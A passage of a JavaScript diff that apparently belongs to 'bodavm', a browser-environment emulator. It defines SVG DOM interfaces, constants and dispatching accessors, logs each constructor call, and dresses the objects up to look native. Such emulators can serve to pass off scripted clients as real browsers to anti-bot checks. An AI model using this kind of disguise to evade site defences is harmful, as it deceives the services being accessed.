bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_get", arguments); + }, + set: function onbegin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onend", { + configurable: true, + enumerable: true, + get: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_get", arguments); + }, + set: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onrepeat", { + configurable: true, + enumerable: true, + get: function onrepeat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_get", arguments); + }, + set: function onrepeat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElement", { + configurable: true, + enumerable: true, + writable: true, + value: function beginElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElementAt", { + configurable: true, + enumerable: true, + writable: true, + value: function beginElementAt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElementAt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElement", { + configurable: true, + enumerable: true, + writable: true, + value: function endElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElementAt", { + configurable: true, + enumerable: true, + writable: true, + value: function endElementAt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElementAt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getCurrentTime", { + configurable: true, + enumerable: true, + writable: true, + value: function getCurrentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getCurrentTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getSimpleDuration", { + configurable: true, + enumerable: true, + writable: true, + value: function getSimpleDuration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getSimpleDuration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getStartTime", { + configurable: true, + enumerable: true, + writable: true, + value: function getStartTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getStartTime", arguments); + } +}, 'prototype'); +// SVGAnimateElement对象 + +bodavm.memory.globalobj['SVGAnimateElement'] = function SVGAnimateElement() { + console.log_copy('SVGAnimateElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimateElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateElement'], "SVGAnimateElement"); +bodavm.memory.globalobj['SVGAnimateElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGAnimateElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; +// SVGAnimateMotionElement对象 + +bodavm.memory.globalobj['SVGAnimateMotionElement'] = function SVGAnimateMotionElement() { + console.log_copy('SVGAnimateMotionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimateMotionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateMotionElement'], "SVGAnimateMotionElement"); +bodavm.memory.globalobj['SVGAnimateMotionElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGAnimateMotionElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; +// SVGAnimateTransformElement对象 + +bodavm.memory.globalobj['SVGAnimateTransformElement'] = function SVGAnimateTransformElement() { + console.log_copy('SVGAnimateTransformElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimateTransformElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateTransformElement'], "SVGAnimateTransformElement"); +bodavm.memory.globalobj['SVGAnimateTransformElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGAnimateTransformElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; +// SVGCircleElement对象 + +bodavm.memory.globalobj['SVGCircleElement'] = function SVGCircleElement() { + console.log_copy('SVGCircleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGCircleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGCircleElement'], "SVGCircleElement"); +bodavm.memory.globalobj['SVGCircleElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGCircleElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGCircleElement', "cx", { + configurable: true, + enumerable: true, + get: function cx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGCircleElement', "cy", { + configurable: true, + enumerable: true, + get: function cy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGCircleElement', "r", { + configurable: true, + enumerable: true, + get: function r() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "r_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGClipPathElement对象 + +bodavm.memory.globalobj['SVGClipPathElement'] = function SVGClipPathElement() { + console.log_copy('SVGClipPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGClipPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGClipPathElement'], "SVGClipPathElement"); +bodavm.memory.globalobj['SVGClipPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGClipPathElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGClipPathElement', "clipPathUnits", { + configurable: true, + enumerable: true, + get: function clipPathUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGClipPathElement'].prototype, "SVGClipPathElement", "clipPathUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGComponentTransferFunctionElement对象 + +bodavm.memory.globalobj['SVGComponentTransferFunctionElement'] = function SVGComponentTransferFunctionElement() { + console.log_copy('SVGComponentTransferFunctionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGComponentTransferFunctionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGComponentTransferFunctionElement'], "SVGComponentTransferFunctionElement"); +bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "tableValues", { + configurable: true, + enumerable: true, + get: function tableValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "tableValues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "slope", { + configurable: true, + enumerable: true, + get: function slope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "slope_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "intercept", { + configurable: true, + enumerable: true, + get: function intercept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "intercept_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "amplitude", { + configurable: true, + enumerable: true, + get: function amplitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "amplitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "exponent", { + configurable: true, + enumerable: true, + get: function exponent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "exponent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "offset", { + configurable: true, + enumerable: true, + get: function offset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "offset_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGDefsElement对象 + +bodavm.memory.globalobj['SVGDefsElement'] = function SVGDefsElement() { + console.log_copy('SVGDefsElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGDefsElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDefsElement'], "SVGDefsElement"); +bodavm.memory.globalobj['SVGDefsElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGDefsElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +// SVGDescElement对象 + +bodavm.memory.globalobj['SVGDescElement'] = function SVGDescElement() { + console.log_copy('SVGDescElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGDescElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDescElement'], "SVGDescElement"); +bodavm.memory.globalobj['SVGDescElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGDescElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +// SVGEllipseElement对象 + +bodavm.memory.globalobj['SVGEllipseElement'] = function SVGEllipseElement() { + console.log_copy('SVGEllipseElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGEllipseElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGEllipseElement'], "SVGEllipseElement"); +bodavm.memory.globalobj['SVGEllipseElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGEllipseElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cx", { + configurable: true, + enumerable: true, + get: function cx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cy", { + configurable: true, + enumerable: true, + get: function cy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "rx", { + configurable: true, + enumerable: true, + get: function rx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "rx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGEllipseElement', "ry", { + configurable: true, + enumerable: true, + get: function ry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "ry_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEBlendElement对象 + +bodavm.memory.globalobj['SVGFEBlendElement'] = function SVGFEBlendElement() { + console.log_copy('SVGFEBlendElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEBlendElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEBlendElement'], "SVGFEBlendElement"); +bodavm.memory.globalobj['SVGFEBlendElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEBlendElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_DODGE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 15 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", { + configurable: false, + enumerable: true, + writable: false, + value: 14 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", { + configurable: false, + enumerable: true, + writable: false, + value: 13 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", { + configurable: false, + enumerable: true, + writable: false, + value: 12 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 11 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_DODGE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in2", { + configurable: true, + enumerable: true, + get: function in2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGFEColorMatrixElement对象 + +bodavm.memory.globalobj['SVGFEColorMatrixElement'] = function SVGFEColorMatrixElement() { + console.log_copy('SVGFEColorMatrixElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEColorMatrixElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEColorMatrixElement'], "SVGFEColorMatrixElement"); +bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEColorMatrixElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", { + configurable: false, + 